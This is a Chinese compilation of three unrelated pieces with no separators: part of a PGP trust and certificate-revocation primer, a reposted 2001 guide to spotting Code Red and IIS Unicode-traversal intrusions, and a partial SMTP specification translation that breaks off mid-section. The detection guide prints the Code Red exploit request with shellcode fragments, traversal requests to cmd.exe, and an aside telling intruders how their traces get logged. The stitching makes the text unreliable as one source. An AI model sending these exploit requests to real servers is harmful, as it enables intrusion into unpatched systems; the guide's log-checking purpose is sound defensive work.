root CA使用私钥来签署证书,私钥是和一种被称为root CA证书的特殊证书类型相关的.由root CA证书签署的任何证书与由root签署的证书具有同样的正确性.证书即使是由系统中其他CA签署的,也具有同样的效力,只要root CA证书签署了其下属CA的证书.CA签署的任何证书成熟在整个体系结构中的其他人看来都是正确的.在整个系统中检查谁签署了谁的证书,这个过程叫做证明路径追踪或称为证明链.
7.3 信任模式

在相对封闭的系统中,比如在一个小公司的内部,很容易追踪一个证明路径到root
CA.但是用户经常和他们公司外部的人通讯,比如制造商,消费者,客户,合伙人等.
确认他们中谁不被你的CA所明确信任是非常困难的.

公司遵循一种或另一种信任模式,模式说明用户如何验证证书的正确性.现有三种
不同的信任模式:
直接信任
层次信任
信任网络

直接信任
直接信任是最简单的信任模式.在这种模式中,用户相信一个密钥是正确的,这是
因为他或她知道这个密钥是从哪里来的.所有的密码系统中在某种程度上都使用
这种形式.比如,在Web浏览器中,用户都直接信任root CA密钥,因为密钥是由制
造商直接提供的.如果这里有任何形式的层次结构,都是由直接信任证书扩展而
来的.

在PGP中,凡是用户自己验证密钥,从不设置其他可信介绍人,使用的就是直接信任
模式.

层次信任
在层次结构系统中,有一定数量的"根(root)"证书,信任由此扩展.这些证书自己验
证其正确性,还证明信任链中他们之下的其他证书.这就像一个很大的信任树,叶证
书的正确性由其上的认证者确认,以此类推,直到找到可信的根证书.

信任网络
信任网络包括上述两种信任模式,而且加入了真实世界视角中旁观者对信任看法和
信息越多越好的概念.因此这是一种累积的信任模式.一份证书可以直接相信,也可
以由根证书(中间介绍人)保证的某些链式结构来证明,或由一些介绍人的组织来证
明.

你可能听说过六度分离(six degrees of separation)这个术语,它的意思是说一个
人只要通过六个人或更少的人作介绍人就可以和这世上的任何一个人拉上关系.这
就是一个介绍人的网络.

这也是从PGP的角度看信任.PGP使用数字签名作为介绍的方式.当用户签署另一个人
的密钥时,他或她就成为了这个密钥的介绍人.当这个过程进行下去,就建立了一个
信任网络.

在PGP环境中,任何用户都可以作为认证权威.任何PGP用户可以证明另一个PGP用户
公钥证书的正确性.然而,这样一份证书仅对完全相信验证者的用户来说是真实的.
(也就是说,如果你认为我是一个可信的介绍者,我认为某个密钥是真实的,你就可
以相信我的观点.否则,我关于这个密钥的任何观点都是没有意义的.)

每个用户公钥环中保存的信息可以说明:
<>用户是否认为某个特定的密钥是真实的.
<>用户给这个密钥设定的信任级别,这决定了用户对密钥拥有者认证其他密钥
的相信程度.

在你保存的我的密钥的拷贝上,你可以指明你是否相信我的判断.这其实是一个名
誉系统:名声好的一些人会在某些密钥上签名,人们相信这些名人对某些密钥真实
性的证明.

PGP中的信任级别
对一个密钥最高级别的信任(绝对信任)是对你自己密钥对的信任.PGP假定如果你
拥有私钥,就应该信任其相应公钥的动作(action).任何由你的密钥签署的其他密
钥(对你而言)都是真实的.

对其他人的公钥,可以为其指定三种信任级别:
<>完全信任
<>部分(Marginal)信任
<>不信任

还有三种真实性级别:
<>真实的
<>部分真实的
<>不真实

将别人定义为可信介绍人的步骤如下:
1.用你的或其他可信介绍人的密钥签署一个真实的密钥.
2.为这个密钥指定你感觉的信任级别.

举例来说,假定你的密钥环中包含Alice的密钥.你已经验证了Alice的密钥并且
在其密钥上签名.同时你知道Alice在验证别人密钥方面是一个非常谨慎的人.
所以你对她的密钥完全信任.这使得Alice成为一个认证权威.如果Alice签署了
另一个人的密钥,在你的密钥环中它就是真实的了.

PGP需要一个完全信任或两个部分信任签名来认证一个密钥的真实性.PGP认为
两个部分信任等同于一个完全信任,这类似于商人要求两种形式的ID.你可能认
为Alice和Bob都是值得信任的.他们中任何一个人都有偶然签署一个假密钥的
可能,因此就不应该给他们完全信任(而应该给予部分信任).然而,两个人对同
一个假密钥都签名的可能性是非常小的.
8. 证书回收

证书仅在其有效的时候有用.简单假定证书永远有效是不安全的.在绝大多数
组织和所有的PKI中,证书都有严格的有效期.这在一定程度上可以防止由于
出现危及证书安全的事件而导致整个系统变得薄弱.

证书在创建时就有预定的有效期:起始日期/时间和终止日期/时间.在整个有
效期内证书都是可用的.当证书过期时,就不再有效了,其中密钥/身份信息对
也不再保证是真实的了.(这时证书仍然可以用于再次确认在有效期内加密或
签名的信息,但是在此之后的加密工作就不可信了)

还有一种情况就是在证书过期之前必须使其无效,比如当一个证书持有者从
公司离职或者怀疑与证书相关的私钥已经不安全了.这称为证书回收.一份回
收的证书比过期的证书更加可疑.过期的证书只是不可用,不象回收的证书
那样有安全性威胁.

任何签署证书的人都可以撤回他或她在证书上的签名(使用与创建签名时相同
的私钥即可).撤回签名显示签名者不再相信公钥和身份信息有正确的联系,或
公钥(或相应的私钥)已经受到安全威胁.撤回签名和回收证书有同样重要的影
响.

对X.509证书而言,撤回签名实际上等同于回收证书.因为证书的真实性是由CA
的唯一签名保证的.PGP证书提供了另外的功能,如果感觉证书已经受到安全性
威胁可以回收整个证书(而不仅是其上的签名).

只有证书的所有者(拥有相应的私钥)或证书所有者指定的回收者才能回收一份
PGP证书.(指定回收者在实践中很有用处,导致PGP用户回收他或她证书的原因
经常是因为丢失了与证书相关的私钥,而回收证书只有在得到私钥的情况下才
可能完成).对于X.509证书来说,只有证书的发布者才能回收证书.

8.1 已回收证书的通知

当证书回收以后,让这份证书的可能用户都知道该证书不再有效是非常重要的.
对PGP证书来说,最通用的方法是将证书回收的消息张贴到证书服务器上,这样
想和你通信的人就会得到警告--这份证书不能用了.

在PKI环境中,通常通过一个被称为证书回收列表(CRL)的数据结构来完成证书
回收通知.CRL由CA发布.CRL包含一个系统中所有已回收但并未过期的证书列表,
这些证书是有时戳并经过证实的.回收的证书会一直在列表中,直到它们过期为
止.过期的证书将从列表中删除,这防止了列表变得过长.

CA向用户定期发布CRL(不管一份证书在什么时候回收).理论上这能够防止用户
无意中使用被回收的证书.但是在CRL发布的间隔期间,用户还是有可能使用了
被回收的证书.
9. 什么是通行码(passphrase)

很多人都熟悉利用密码(password)来限制对计算机系统的访问,密码是用户作
为识别码而输入的一串特殊字符.

通行码是一种长度更长的密码.理论上也更加安全.特别是由多个单词组成的通
行码对抗字典攻击更加有效.所谓的字典攻击是指攻击者通过尝试字典中所有
的单词来确定你的密码.最好的通行码应该足够长而且复杂,包含大小写字母,
数字和连字符号的组合.

PGP使用通行码来加密你计算机中的私钥.通行码作为密钥将私钥加密保存在磁
盘上.使用通行码才能解密并使用你的私钥.通行码对自己应该难以忘记而对别
人来说应该很难猜到.通行码应该是已经嵌入你长期记忆中的某些东西,而不是
随手写下的内容.为什么呢?因为如果你忘记了通行码,就倒霉了.没有通行码,
私钥就完全没用了,什么事情也干不了了.还记得最前面几小节的介绍吗?PGP可
以让政府都无法看到你的文件,当然也可以让你自己无法看到自己的文件.记住,
即使决定把通行码改成笑话中的妙语,也不可能永远记住.
10. 密钥分离

如果多于一个人知道,那秘密就不是秘密了.几个人共享私钥就会遇到这样的问题.
尽管不推荐这样做,但是共享私钥在有些时候是必须的.举例来说,"法人签名密钥
(Corporate Signing Keys)"是一个公司用来签署--法律文件,敏感个人信息或出
版授权--的密钥.在这种情况下,公司的多个成员可以使用私钥.然而,这意味着,
知道私钥的任何个人可以完全代表这个公司了.

针对这种情况,将密钥在这几个人之间分割持有是明智的选择.这样只有多于一个
或两个人出示部分密钥,才能重新构成一个可用的密钥.如果仅有部分密钥存在,
则不完整的密钥是没有用的.

在实际应用中,可以将密钥分割成三个部分,需要其中两个部分才能重构密钥.或者
分割成两个部分,重构时同时出示这两部分.如果在重构过程中使用了安全的网络
连接,密钥的共享者可以不见面而重构完整的密钥.


检查红色代码的方法

首先确定你的计算机是否正在运行一个易受攻击的IIS 4.0或5.0，步骤如下：
    （1）按Ctrl+Alt+Delete，选择“任务管理器”，然后选择“进程”标签，
    （2）如果在“映像名称”列，找到 Inetinfo.exe，说明你正在运行IIS，需要给系统打补丁；
    （3）如果在“映像名称”列，找到两个"exploer.exe"，说明木马已经在您的机器上运行了；
    （4）如果在系统文件中发现有下列后门（木马）程序：C:\explorer.exe，D:\explorer.exe，说明系统已经感染红色蠕虫病毒
    （5）如果系统日志目录C:\winnt\system32\logfiles\w3svc1中，发现含有以下内容的文件，说明系统已经被红色蠕虫病毒攻击过，也有可能系统已经被感染。
    "GET /default.ida?NNNNNNNNNN……NNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0"


检查是否被黑客利用unicode漏洞入侵

检查LOG日志
在winnt＼system32＼logfiles＼w3svc1＼目录里保留有web访问记录
如果曾经被人利用UNICODE漏洞访问过，我们可以在日志里看到类似的记录
13:46:07 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 401
13:46:07 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 200
如果有人曾经执行过COPY、del、echo、.bat等具有入侵行为命令时
13:47:37 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 401
13:47:37 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 502

在winnt/system32/logfiles＼msftp＼svc1目录里可以找到运行FTP的日志
如果有人执行过FTP命令，在日志文件里我可以看到类似的记录
13:59:25 127.0.0.1 [2]USER badboy 331
13:59:25 127.0.0.1 [2]PASS - 230
13:59:25 127.0.0.1 [2]sent /a.txt 226
13:59:25 127.0.0.1 [2]QUIT - 226

这里入侵爱好者请注意，你利用目标主机到某个站点FTP下载什么文件都是被记录
的，不要以为你删除文件、改文件名就可以逃脱你入侵的证据了。

我们不排除有可能入侵者使用代理服务器。

当然你知道自己被人利用UNICODE漏洞来入侵自己的主机，但在这些日志里你
无法找到记录，那你就更要注意了，因为你遇到的不是一般的小菜鸟了。

检查事件查看器里面的错误记录
我们也可以在管理工具的事件查看器里找到入侵者的足迹，比如在某个时段出现
比较多的警告信息。信息类似以下内容：

事件类型: 警告
事件来源: W3SVC
事件种类: 无
事件 ID: 100
日期: 2001-2-2
事件: 21:51:26
用户: N/A
计算机: CLUB-BUM1HOYJHJ
描述:
该服务器因为错误 登录失败: 未知的用户名或错误密码。 而无法登录至 Windows NT 帐号 ‘CLUB-BUM1HOYJHJ＼badboy‘。此数据为错误码。
若要获取关于此消息的更多的信息，请访问 Microsoft 联机支持站点:http://www.microsoft.com/contentredirect.asp 。
数据:
0000: 2e 05 00 00 ....

_________________________________________
转:2001-05-18 15:11:32· ·badboy··yesky


简单邮件传输协议（SMTP）

1. 介绍

简单邮件传输协议（SMTP）的目标是可靠高效地传送邮件，它独立于传送子系统而且仅要求一条可以保证传送数据单元顺序的通道。附录A，B，C和D描述了不同传送服务下SMTP的使用。在名词表中还定义了本文档中使用的术语。

SMTP的一个重要特点是它能够在传送中接力传送邮件，传送服务提供了进程间通信环境（IPCE），此环境可以包括一个网络，几个网络或一个网络的子网。理解到传送系统（或IPCE）不是一对一的是很重要的。进程可能直接和其它进程通过已知的IPCE通信。邮件是一个应用程序或进程间通信。邮件可以通过连接在不同IPCE上的进程跨网络进行邮件传送。更特别的是，邮件可以通过不同网络上的主机接力式传送。 2. SMTP模型

SMTP设计基于以下通信模型：针对用户的邮件请求，发送SMTP建立与接收SMTP之间建立一个双向传送通道。接收SMTP可以是最终接收者也可以是中间传送者。SMTP命令由发送SMTP发出，由接收SMTP接收，而应答则反方面传送。

一旦传送通道建立，SMTP发送者发送MAIL命令指明邮件发送者。如果SMTP接收者可以接收邮件则返回OK应答。SMTP发送者再发出RCPT命令确认邮件是否接收到。如果SMTP接收者接收，则返回OK应答；如果不能接收到，则发出拒绝接收应答（但不中止整个邮件操作），双方将如此重复多次。当接收者收到全部邮件后会接收到特别的序列，如果接收者成功处理了邮件，则返回OK应答。

SMTP提供传送邮件的机制，如果接收方与发送方连接在同一个传送服务下时，邮件可以直接由发送方主机传送到接收方主机；或者，当两者不在同一个传送服务下时，通过中继SMTP服务器传送。为了能够对SMTP服务器提供中继能力，它必须拥有最终目的主机地址和邮箱名称。

MAIL命令参数是回复路径，它指定邮件从何处来；而RCPT命令的参数是转发路径的，它指定邮件向何处去。向前路径是源路径，而回复路径是返回路径（它用于发生错误时返回邮件）。 当同一个消息要发往不同的接收者时，SMTP遇到了向不同接收者发送同一份数据的复制品的问题，邮件命令和应答有一个比较奇怪的语法，应答也有一个数字代码。在下面，例子中可以看到哪些使用实际的命令和应答。完整的命令和应答在第四节。

命令与应答对大小写不敏感，也就是说，命令和应答可以是大写，小写或两者的混合，但这一点对用户邮件名称却不一定是对的，因为有的主机对用户名大小写是敏感的。这样SMTP实现中就将用户邮箱名称保留成初始时的样子，主机名称对大小写不敏感。

命令与应答由ASCII字母表组成，当传送服务提供8位字节传送通道，每7位字符正确传送，而最高位被填充为0。当指定一般的命令或应答格式后，参数会由一些类似于语言的字符串表示出来，如"<string>"或"<reverse-path>"，这里尖括号表示这是一种类似于语言的变量。

3. SMTP过程

本节提供了SMTP中的一些过程。头一个说明的是基本发送过程（定义为发送操作）。下来描述向前传送邮件，确认邮箱名称和扩展邮件列表，发送到终端和打开关闭交换。在本节的最后是对中断，邮件域的说明。本节的例子只是一部分命令和应答的序列，完整的例子见附录F。

3.1. MAIL

在SMTP发送操作中有三步，操作由MAIL命令开始给出发送者标识。一系列或更多的RCPT命令紧跟其后，给出了接收者信息，然后是DATA命令列出发送的邮件内容，最后邮件内容指示符确认操作。

过程中的第一步是MAIL命令，< reverse-path >包括源邮箱。

MAIL <SP> FROM:<reverse-path> <CRLF>

此命令告诉接收者新的发送操作已经开始，请复位所有状态表和缓冲区。它给出反向路径以进行错误信息返回。如果请求被接收，接收方返回一个250 OK应答。<reverse-path>中不止包括了邮箱，它包括了主机和源邮箱的反向路由，其中的第一个主机就是发送此命令的主机。

过程中的第二步是发送RCPT命令。

RCPT <SP> TO:<forward-path> <CRLF>

此命令给出向前路径标识接收者，如果命令被接收，接收方返回一个250 OK应答，并存储向前路径。如果接收者未知，接收方会返回一个550 Failure应答。此过程可能会重复若干次。

<forward-path>不仅包括邮件，它是主机和目的邮箱的路由表，在其中的第一个主机就是接收命令的主机。

过程中的第三步是发送DATA命令。

DATA <CRLF>

如果命令被接收，接收方返回一个354 Intermediate应答，并认定以下的各行都是信件内容。当信件结尾收到并存储后，接收者发送一个250 OK应答。因为邮件是在传送通道上发送，因此必须指明邮件内容结尾，以便应答对话可以重新开始。SMTP通过在最后一行仅发送一个句号来表示邮件内容的结束，在接收方，一个对用户透明的过程将此符号过滤掉，以不影响正常的数据。

注意：邮件内容包括如下提示：Date, Subject, To, Cc, From。

邮件内容指示符确认邮件操作并告知接收者可以存储和再发送数据了。如果此命令被接收，接收方返回一个250 OK应答。DATA命令仅在邮件操作未完成或源无效的情况下失败。

上面所述的过程是一个发送操作。这些命令只能以上面的顺序使用。下例表示了在一个发送操作中这些命令的使用。

-------------------------------------------------------------

SMTP过程例子 此例是在Alpha.ARPA主机的Smith发送邮件给Beta.ARPA主机的Jones，Green和Brown的，这里假定主机Alpha与主机Beta直接相连。

S: MAIL FROM:<Smith@Alpha.ARPA>

R: 250 OK

S: RCPT TO:<Jones@Beta.ARPA>

R: 250 OK

S: RCPT TO:<Green@Beta.ARPA>

R: 550 No such user here

S: RCPT TO:<Brown@Beta.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...等等

S: <CRLF>.<CRLF>

R: 250 OK

此信被前两个人接收，而第三个人在此主机上没有邮箱。

-------------------------------------------------------------

3.2. 转发 下面是一些<forward-path>中目的地址不正确的，但接收者知道正确的目的地址的例子。在这些例子中，下列应答之一应该允许发送方与获得正确地址。

251：用户不在本地；将向前发送到<forward-path>。

这个应答意味着，接收方SMTP知道用户的邮箱在另外的主机上，而且意味着将在未来使用正确的转向路径。请注意，主机或者用户，或者它们两者是不同的。接收方负责传送消息。

551 ：用户非本地，请尝试<forward-path>

这个应答意味着接收SMTP知道用户的邮箱在另外的主机上，并意味着使用了正确的转发路径。注意请注意，主机或者用户，或者它们两者是不同的。接收方拒绝接收此用户的信件，发送者必须根据提供的信息重新发送或者向原发送者返回错误信息。

下例显示了这些响应的应用。

转发的例子

S: RCPT TO:<Postel@USC-ISI.ARPA>

R: 251 User not local; will forward to <Postel@USC-ISIF.ARPA>

或者

S: RCPT TO:<Paul@USC-ISIB.ARPA>

R: 551 User not local; please try <Mockapetris@USC-ISIF.ARPA>

-------------------------------------------------------------

3.3. 确认和扩展

SMTP提供了另外的确认用户名和扩展邮件列表的功能。这些功能由VREF和EXPN命令完成，它们都以字符串为参数。对于VREF命令，字符串参数指的是用户名，对此命令的响应要包括用户的命名和用户的邮箱。对于EXPN命令，字符串参数指的是邮件列表，对此命令的响应多于一个，它们要包括所有列表中用户的命名和他们的邮箱。

“用户名”是一个多余的项目，它是故意被加上的。如果主机采用VREF命令和EXPN命令，最后本地邮箱必须提供用户名使它被主机确认。如果主机选择由另外的字符串作为用户名，也是允许的。

在一些主机中，邮箱列表和一个邮箱的代名有一点不清楚，因为一般的数据结构可能包括两种类型的入口。如果要发出对邮件列表的确认，应该给出确定响应。在接收到这个消息后，主机将把邮件传送到列表上所有的地址上去，如果没有接收到确定响应，就会报告错误。例如，"550 That is a mail list, not a user name"。如果请求用于扩展一个用户名，可能通过返回包括一个名字的列表来形成确定响应，如果没有接收到确定响应，就会报告错误。（例如， "550 That is a user name, not a mailing list"）。

在多个响应的情况下（通常是对于EXPN而言的），每个应答指定一个邮箱。在模糊请求的情况下，例如"VRFY Smith"，这里两个Smith的响应必须是"553 User ambiguous"。

确认用户名的情况如下例所示：例3：

-------------------------------------------------------------

确认用户名

S: VRFY Smith R: 250 Fred Smith <Smith@USC-ISIF.ARPA>

或者

S: VRFY Smith

R: 251 User not local; will forward to <Smith@USC-ISIQ.ARPA>

或者

S: VRFY Jones

R: 550 String does not match anything.

或者

S: VRFY Jones

R: 551 User not local; please try <Jones@USC-ISIQ.ARPA>

或者

S: VRFY Gourzenkyinplatz

R: 553 User ambiguous.

-------------------------------------------------------------

邮箱列表要求多个响应的情况如下例所示：

-------------------------------------------------------------

扩展邮件列表的例子

S: EXPN Example-People

R: 250-Jon Postel <Postel@USC-ISIF.ARPA>

R: 250-Fred Fonebone <Fonebone@USC-ISIQ.ARPA>

R: 250-Sam Q. Smith <SQSmith@USC-ISIQ.ARPA>

R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250-<joe@foo-unix.ARPA>

R: 250 <xyz@bar-unix.ARPA>

或者

S: EXPN Executive-Washroom-List

R: 550 Access Denied to You.

-------------------------------------------------------------

VERF和EXPN命令的字符串命令参数因为具体实现的不同而不能再加以限制了。在一些系统上，EXPN命令的参数可能是一个包含邮件列表的文件名，但是在Internet上有许多不同的文件结构。 VRFY和EXPN命令在最小实现中并不包括，当它们实现时，它们也不要求被在传送间实现。

3.4. 发送信件(mailing)和获得信件(sending)

SMTP的主要目的是将邮件发送到用户的邮箱中。由一些主机提供的类似的功能是把邮件送至用户的终端（如果用户正打开终端）。将邮件送到用户的邮箱中称为发送信件（mailing）；而送至用户终端则称之为获得信件（sending）。因为在一些主机上，这两者的实现十分类似，所以它们同时被放入了SMTP中。然而，获得信件命令在SMTP的最小实现中是没有的。用户应该具有控制向终端上写信息的能力。大部分主机允许用户接受或者拒绝类似的信息。 下面三个命令被定义来支持获得信件。它们被用于邮件命令而不是MAIL命令，指示接收SMTP这种操作的特殊意义：

SEND <SP> FROM:<reverse-path> <CRLF>

SEND命令要求邮件内容直接传送到用户终端。如果用户未打开终端（或者未接收终端信息），450响应将返回一个RCPT命令。如果信息被成功发送，此操作成功。

SOML <SP> FROM:<reverse-path> <CRLF>

Send或者MaiL命令要求将邮件内容直接发送到用户的终端上（如果用户在终端上）。如果用户不在终端上，邮件内容直接进入邮箱。如果邮件被发送到用户终端或者用户信箱，发送操作成功。

SAML <SP> FROM:<reverse-path> <CRLF>

Send和MaiL命令要求邮件内容直接发送到用户终端上（如果用户在终端上）。不管怎么样，信件都会进入信箱。如果信件进入信箱，发送操作成功。

用于MAIL命令的响应和这些命令的响应相同。

3.5. 打开和关闭

当打开传送通道时，要交换一些信息以确定双方的身份。以下的命令是用于打开和关闭的：

HELO <SP> <domain> <CRLF>

QUIT <CRLF>

在HELLO命令中，主机自己发送命令，此命令可以被解释为：“你好，我是XX”。

-------------------------------------------------------------

打开联结的例子

R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIF.ARPA

R: 250 BBN-UNIX.ARPA

-------------------------------------------------------------

-------------------------------------------------------------

关闭联结的例子

S: QUIT

R: 221 BBN-UNIX.ARPA Service closing transmission channel

-------------------------------------------------------------

3.6. 转发

转发路径可能是如下格式："@ONE,@TWO:JOE@THREE"，在这里，ONE，TWO和THREE是主机。这种格式用于强调地址和路径的区别。邮箱是绝对地址，路径是关于如何到达的信息。这两个概念不应该被混淆。

概念上，转发路径的元素被移动到回复路径作为从一个SMTP服务器到另一个SMTP服务器的信息。回复路径是一个反向数据源路径，例如从当前信息的位置到发起者的位置。当一个SMTP服务器从转发路径中删除自己的标记并将它插入到回复路径中时，它必须使用它发送环境能够理解的名称来进行，以防它的名称在不同的环境中被理解为不同的名字。 如果当SMTP接收到信息的转发路径的第一个元素不是此SMTP的标记时，此元素不从转发路径中删除，而被用来决定下一个应该发送到的SMTP服务器。在任何情况下，SMTP都将自己的标记加入反向路径中。

使用源路径时，接收SMTP接收转发的邮件并发送到另一接收SMTP服务器上。接收服务器可以接受或拒绝转发本地用户的邮件。接收SMTP通过将它自己的标记从转发路径移至回复路径的开始处来改变命令参数。这时，接收SMTP变成了发送SMTP，也就建立了到下一个转发路径中SMTP的通道，然后，它向这个SMTP发送邮件。

在回复路径上的头一个主机应是发送SMTP命令的主机，在转发路径上第一个主机应是接收SMTP命令的主机。

注意：转发路径和回复路径出现在SMTP命令和应答中，但不一定要出现在信息中。也就是说，没有必须要这样的路径特别这种格式出现在信息头的"To:"，"From:"和"CC:"等域中。

如果SMTP服务器接受了转发任务，但后来它发现因为转发路径不正确或者其它原理无法发送邮件，它必须建立一个"undeliverable mail"信号，将它此信号送到此信的发主者那里。

此信号必须是从此主机的SMTP服务上发出的，当然了，此服务器不应该再报告出错信息的错误。一种阻止这种出错报告循环的情况是在信号的邮件命令的回复路径上置空。在传送此信息时，允许将回复路径也置为空。一个MAIL命令后的回复路径为空表现为如下形式：

MAIL FROM:<>

下例中显示了不可传送的邮件信息。此信息是对从HOSTW上的JOE发出的邮件经过在HOSTX需要经过HOSTZ到达HOSTY时出错的回应。我们看到的例子是在HOSTX和HOSTY之间发生的。

-------------------------------------------------------------

不可传送邮件信息的例子

S: MAIL FROM:<>

R: 250 ok

S: RCPT TO:<@HOSTX.ARPA:JOE@HOSTW.ARPA>

R: 250 ok

S: DATA

R: 354 send the mail data, end with .

S: Date: 23 Oct 81 11:22:33

S: From: SMTP@HOSTY.ARPA

S: To: JOE@HOSTW.ARPA

S: Subject: Mail System Problem

S:

S: Sorry JOE, your message to SAM@HOSTZ.ARPA lost.

S: HOSTZ.ARPA said this:

S: "550 No Such User"

S: .

R: 250 ok

-------------------------------------------------------------

3.7. 域

域是最近被引入ARPA Internet邮件系统的。使用域可以使地址空间从一个平面的普通字符串主机名变成全局地址的一个层次结构。主机由一个域名取代，起始主机是由一系列元串组成，它们由逗号按最特殊到一般的顺序排列。 例如，"USC-ISIF.ARPA"，"Fred.Cambridge.UK"和"PC7.LCS.MIT.ARPA"可能是主机-域标识符。

无论域名在SMTP中如何使用，只有正式的名称才可以被使用，不可以使用假名或昵称。

3.8. 改变角色

TURN命令可以用来改变在传输信道上通信的程序的角色。如果程序A现在是发送SMTP，它发送TURN命令并接到OK应答（250）后，它就变为接收SMTP了。同理，程序B也可以从接收SMTP变为发送SMTP。若要拒绝改变角色，接收方可以发送502作为应答。

注意：此命令是可选的。在使用TCP的传输信道时，一般不使用此命令。然而，当建立传输信道的代价比较大时，此命令很有用。例如，此命令可以支持一般公共交换电话系统作为传输信道。

4. SMTP说明
4.1. SMTP命令
4.1.1. 命令语法
SMTP命令定义了邮件传输或由用户定义的系统功能。它的命令是由<CRLF>结束的字符串。而在带有参数的情况下，命令本身由<SP>和参数分开，如果未带参数可以直接和<CRLF>连接。邮箱的语法格式必须和接收站点的格式一致。下面讨论SMTP命令和应答。

发送邮件操作涉及到不同的数据对象，它们由不同的参数相互连接。回复路径就是MAIL命令的参数，而转发路径则是RCPT命令的参数，邮件日期是DATA命令的参数。这些参数或者数据对象必须跟在命令后。这种模式也就要求有不同的缓冲区来存储这些对象，也就是说，有一个回复路径缓冲区，一个转发路径缓冲区，一个邮件内容缓冲区。特定的命令产生自己的缓冲区，或使一个或多个缓冲的内容被清除。

HELLO (HELO)

此命令用于向接收SMTP确认发送SMTP。参数域包括发送SMTP的主机名。接收SMTP通过连接确认命令来向发送SMTP确认接收SMTP。引命令和OK响应确认发送和接收SMTP进入了初始状态，也就是说，没有操作正在执行，所有状态表和缓冲区已经被子清除。

MAIL (MAIL)

此命令用于开始将邮件发送到一个多个邮箱中。参数域包括回复路径。返回路径中包括了可选的主机和发送者邮箱列表。当有主机列表时，它是一个回复路径源，它说明此邮箱是由在表中的主机一一传递发送（第一个主机是最后一个接收到此邮件的主机）过来的。此表也有作向发送者返回非传递信号的源路径。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

RECIPIENT (RCPT)

此命令用于确定邮件内容的唯一接收者；多个接收者将由多个此命令指定。转发路径中包括一个可选的主机和一个必须的目的邮箱。当出现主机列表时，这就是一个源路径，它指明邮件必须向列表中的上一个主机发送。如果接收SMTP未实现邮件的传递发送，就会返回如未知本地用户（550）的信息给用户。

当邮件被传递发送时，传递主机必须将自己的名称由转发路径的开始处移至回复路径的结束处。当邮件最终到达目的地时，接收SMTP将以它的主机邮件格式自己的名称插入目标邮件中。例如，由传递主机A接收的带有如下参数的邮件时，

FROM:<USERX@HOSTY.ARPA>

TO:<@HOSTA.ARPA,@HOSTB.ARPA:USERC@HOSTD.ARPA>

将会变成如下形式：

FROM:<@HOSTA.ARPA:USERX@HOSTY.ARPA>

TO:<@HOSTB.ARPA:USERC@HOSTD.ARPA>.

此命令导致它的转发路径参数加入转发路径缓冲区中。

DATA (DATA)

接收者将跟在命令后的行作为邮件内容。此命令导致此命令后的邮件内容加入邮件内容缓冲区。邮件内容可以包括所有128个ASCII码字符。邮件内容由只包括一个句号的行结束，也就是如下的字符序列："<CRLF>.<CRLF>"，它指示了邮件的结束。

邮件内容的结束指示要求接收者现在就处理保存的邮件内容。此过程将回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区的内容全部清空。如果操作成功，接收者必须返回OK应答；如果失败也必须返回失败应答。

当接收SMTP收到一条信息时，无论是用作转发还是此邮件已经到达目的地，它都必须在邮件内容的开始处加上时间戳这一行，这一行指示了接收到邮件主机和发出此邮件主机的标识，以及接收到邮件内容的时间和日期。转发的信件将有多行这样的时间戳。当接收SMTP作最后一站的传送时，它将返回路径信息行插入邮件中。此行包括了发送命令中的<reverse-path>的信息。在这里，最后一站的传送的意思是邮件将被送到目的用户手中，但在一些情况下，邮件可能需要更进一步的加工并由另外的邮件系统传送。

可能在返回路径中的邮箱与实际发送的邮件不一致，这个情况可能发生在需要传送一个特定的错误处理信箱而不是信件发送者那里。上面所述说明了，最后的邮件内容由一个返回路径行，和在其后的一个或多个时间戳行构成。这些行后面是邮件内容的头和体信息。

当处理后面的邮件数据指示部分成功时就需要特定的说明。这种情况可能发生在发送SMTP发现当邮件需要传送给多个用户时，只能够成功地向其中的一部分发送信息这种情况下。在这种情况下，必须对DATA命令发送OK应答，而接收SMTP组织并发送一个“不可传递邮件”信息到信息的发送者。在此信息中或者发送一个不成功接收者的列表，或者每次发送一个不成接收者，而发送多次。所有不可传递邮件信息由MAIL命令发送。

-------------------------------------------------------------

返回路径和接收时间戳例子

Return-Path: <@GHI.ARPA,@DEF.ARPA,@ABC.ARPA:JOE@ABC.ARPA>

Received: from GHI.ARPA by JKL.ARPA ; 27 Oct 81 15:27:39 PST

Received: from DEF.ARPA by GHI.ARPA ; 27 Oct 81 15:15:13 PST

Received: from ABC.ARPA by DEF.ARPA ; 27 Oct 81 15:01:59 PST

Date: 27 Oct 81 15:01:01 PST

From: JOE@ABC.ARPA

Subject: Improved Mailing System Installed

To: SAM@JKL.ARPA

This is to inform you that ...

-------------------------------------------------------------

SEND (SEND)

此命令用于开始一个发送命令，将邮件发送到一个或多个终端上。参数域包括了一个回复路径，此命令如果成功就将邮件发送到终端上了。

回复路径包括一个可选的主机列表和发送者邮箱。当出现主机列表时，表示这是一个传送路径，邮件就是经过这个路径上的每个主机发送到这里的（列表上第一个主机是最后经手的主机）。此表用于返回非传递信号到发送者。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

SEND OR MAIL (SOML)

此命令用于开始一个邮件操作将邮件内容传送到一个或多个终端上，或者传送到邮箱中。对于每个接收者，如果接收者终端打开，邮件内容将被传送到接收者的终端上，否则就送到接收者的邮箱中。参数域包括回复路径，如果成功地将信息送到终端或邮箱中此命令成功。

